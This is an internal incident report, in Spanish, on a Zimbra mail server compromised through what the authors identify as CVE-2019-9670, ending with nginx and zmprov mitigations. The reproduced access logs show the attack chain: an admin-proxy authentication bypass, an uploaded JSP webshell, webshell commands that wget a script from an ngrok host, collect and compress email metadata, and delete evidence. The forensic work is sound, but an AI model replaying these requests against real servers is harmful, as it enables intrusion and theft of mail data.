
---
# Intruccion a servidor mailbox10
## Intro
Se detectó un script desconocido ejecutándose en el mbox10 ruta "/opt/zimbra/log/httpd.sh", a raiz de ello se investigó que el mismo estaba recorriendo todos los mails y la siguiente información:
* emailFrom
* emailTo
* Subject
* mailDate
* ccTo
Y la misma la guardaba en archivos como /opt/zimbra/jetty/webapps/zimbra/img/local.config para comprimirlos y eventualmente copiarlos.
## Detección
Desde el maibox10 pudimos notar que el script se subió desde la IP **91.216.190.28** a través de un jsp previamente subido donde le habilita una shell para dicho proposito:
```
access_log.2021-01-08.gz:91.216.190.28 - - [08/ene/2021:01:51:58 +0000] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=wget%20https://7933c21388fd.ngrok.io/httpd.sh HTTP/1.0" 200 28 "-" "python-requests/2.18.4" 2344
access_log.2021-01-08.gz:91.216.190.28 - - [08/ene/2021:01:52:01 +0000] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=chmod%20777%20./httpd.sh HTTP/1.0" 200 28 "-" "python-requests/2.18.4" 36
access_log.2021-01-08.gz:91.216.190.28 - - [08/ene/2021:01:51:58 +0000] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=wget%20https://7933c21388fd.ngrok.io/httpd.sh HTTP/1.0" 200 28 "-" "python-requests/2.18.4" 2344
access_log.2021-01-08.gz:91.216.190.28 - - [08/ene/2021:01:52:01 +0000] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=chmod%20777%20./httpd.sh HTTP/1.0" 200 28 "-" "python-requests/2.18.4" 36
```
Revisamos los proxies para ver desde donde accedió y vimos que fue desde el proxy01:
```[root@proxy01 log]# zgrep 91.216.190.28 nginx.access.log*
nginx.access.log-20210108.gz:91.216.190.28 - - [07/Jan/2021:08:47:20 -0300] "POST https://200.40.31.8:443/service/soap/NoOpRequest HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
nginx.access.log-20210108.gz:91.216.190.28 - - [07/Jan/2021:08:47:28 -0300] "POST /service/soap/AuthRequestTest HTTP/1.1" 200 883 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
nginx.access.log-20210108.gz:91.216.190.28 - - [07/Jan/2021:08:47:29 -0300] "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest HTTP/1.1" 200 957 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/58.0" "172.24.32.49:80"
nginx.access.log-20210108.gz:91.216.190.28 - - [07/Jan/2021:08:47:30 -0300] "POST https://200.40.31.8:443/service/extension/clientUploader/upload/ HTTP/1.1" 200 229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
nginx.access.log-20210108.gz:91.216.190.28 - - [07/Jan/2021:08:47:32 -0300] "GET https://200.40.31.8:443/downloads/.a.jsp?pwd=659&i=mv%20/opt/zimbra/jetty/webapps/zimbra/downloads/.a.jsp%20/opt/zimbra/jetty/webapps/zimbra/help/en_US/standard/getlangpack.jsp HTTP/1.1" 200 420 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
####
```
Grepeando por esa IP vemos mas datos. Lo que llama la atención es que pareciera usar una funcion soap que hasta donde sabemos no existia "AuthRequestTest" la cual le responde, posterior a eso sube el backdoor .jsp y lo mueve a la ruta /opt/zimbra/jetty/webapps/zimbra/help/en_US/standard/getlangpack.jsp
Si filtro en el log de ese dia el navegador con la version que el hacker usó veo lo siguiente:
```
[root@proxy01 ~]# zgrep "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" /opt/zimbra/log/nginx.access.log-20210108.gz
91.216.190.28 - - [07/Jan/2021:08:47:20 -0300] "POST https://200.40.31.8:443/service/soap/NoOpRequest HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
91.216.190.28 - - [07/Jan/2021:08:47:28 -0300] "POST /service/soap/AuthRequestTest HTTP/1.1" 200 883 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
91.216.190.28 - - [07/Jan/2021:08:47:30 -0300] "POST https://200.40.31.8:443/service/extension/clientUploader/upload/ HTTP/1.1" 200 229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
91.216.190.28 - - [07/Jan/2021:08:47:32 -0300] "GET https://200.40.31.8:443/downloads/.a.jsp?pwd=659&i=mv%20/opt/zimbra/jetty/webapps/zimbra/downloads/.a.jsp%20/opt/zimbra/jetty/webapps/zimbra/help/en_US/standard/getlangpack.jsp HTTP/1.1" 200 420 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "172.24.32.49:80"
> ###### 179.27.81.229 - - [07/Jan/2021:09:07:50 -0300] "GET /service/preauth/?account=hhermes@vera.com.uy&by=name×tamp=1610021270085&expires=0&preauth=eedf61d6ac5042a382c646c04565a0a3f31baf80 HTTP/1.1" 302 484 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "-"
> ###### 179.27.81.229 - - [07/Jan/2021:14:07:16 -0300] "GET /service/preauth/?account=hhermes@vera.com.uy&by=name×tamp=1610039236216&expires=0&preauth=15a47fea5d3a9406e0fc9614076e60905a3e9260 HTTP/1.1" 302 484 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "-"
```
Actividad unos minutos despues desde la IP **179.27.81.229** queriendose autenticar con el usuario **hhermes@vera.com.uy**
Esto puede no significar nada dado que puede darse la casualidad de utilizar el mismo navegador, pero lo adjunto por las dudas.
Estos son los archivos que el hacker agregó y fueron movidos a /root/cuarentena/ conjuntamente con las salidas del script httpd.sh:
```
[root@mbox10 jetty]# find . -mtime 1
./work/zimbra/jsp/org/apache/jsp/downloads
./work/zimbra/jsp/org/apache/jsp/downloads/__a_jsp.java
./work/zimbra/jsp/org/apache/jsp/downloads/__a_jsp.class
./webapps/zimbra/downloads
./webapps/zimbra/downloads/client_uploader_tmp
./webapps/zimbra/help/en_US/standard/getlangpack.jsp
[root@mbox10 jetty]#
```
Hoy 11/01/21 quiso ingresar nuevamente, curiosamente con la misma IP:
```
proxy01 | CHANGED | rc=0
91.216.190.28 - - [11/Jan/2021:06:30:02 -0300] "-" 400 0 "-" "-" "-"
proxy03 | CHANGED | rc=0
91.216.190.28 - - [11/Jan/2021:05:31:30 -0300] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=tar%20czvf%20/opt/zimbra/jetty/webapps/zimbra/img/zimbraicron.png%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-0%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-1%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-2%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-3%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-4%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-5%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-6%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-7%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-8%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-9 HTTP/1.1" 404 1560 "-" "python-requests/2.18.4" "172.24.32.49:80"
91.216.190.28 - - [11/Jan/2021:05:31:31 -0300] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=rm%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-0%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-1%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-2%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-3%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-4%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-5%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-6%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-7%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-8%20/opt/zimbra/jetty/webapps/zimbra/img/local.config-9%20-f HTTP/1.1" 404 1560 "-" "python-requests/2.18.4" "172.24.32.49:80"
91.216.190.28 - - [11/Jan/2021:05:31:32 -0300] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=rm%20httpd.sh%20-f HTTP/1.1" 404 1560 "-" "python-requests/2.18.4" "172.24.32.49:80"
91.216.190.28 - - [11/Jan/2021:05:31:33 -0300] "GET /img/zimbraicron.png HTTP/1.1" 404 1513 "-" "python-requests/2.18.4" "172.24.32.49:80"
91.216.190.28 - - [11/Jan/2021:05:31:34 -0300] "GET /help/en_US/standard/getlangpack.jsp?pwd=659&i=rm%20/opt/zimbra/jetty/webapps/zimbra/img/zimbraicron.png%20-f HTTP/1.1" 404 1560 "-" "python-requests/2.18.4" "172.24.32.49:80"
```
En el log se puede observar que intentó comprimir todos los datos recolectados del script y no pudo dado que lo movimos.
Luego Intento eliminarlos conjuntamente con el script httpd.sh dandole nuevamente un 404
## Vulnerabilidad
En base al analisis y comportamiento del hacker podemos concluir que se trata de la vulnerabilidad CVE-2019-9670, la cual está muy bien explicada en el siguiente link:
> https://lorenzo.mile.si/zimbra-cve-2019-9670-being-actively-exploited-how-to-clean-the-zmcat-infection/961/
Lamentablemente no tenemos parche para la version actual (8.0.7) por lo que se suma otra razón por la cual migrar en cuanto se pueda.
## Mitigación
Como explica en el anterior link podemos mitigar estos ataques agregando en el proxy que si viene un request desde algún script automatico como fue en este caso devolverle un 403:
Para hacerlo hay que editar el archivo /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template y justo despues de "server {" agregar la siguente linea:
> if ($http_user_agent ~ (python-requests) ) { return 403; }
Luego es necesario reiniciar el servicio.
Por otro lado tambien podemos hacer que zimbra no indexe las busquedas de bots ejecutando desde cualquier server:
>zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"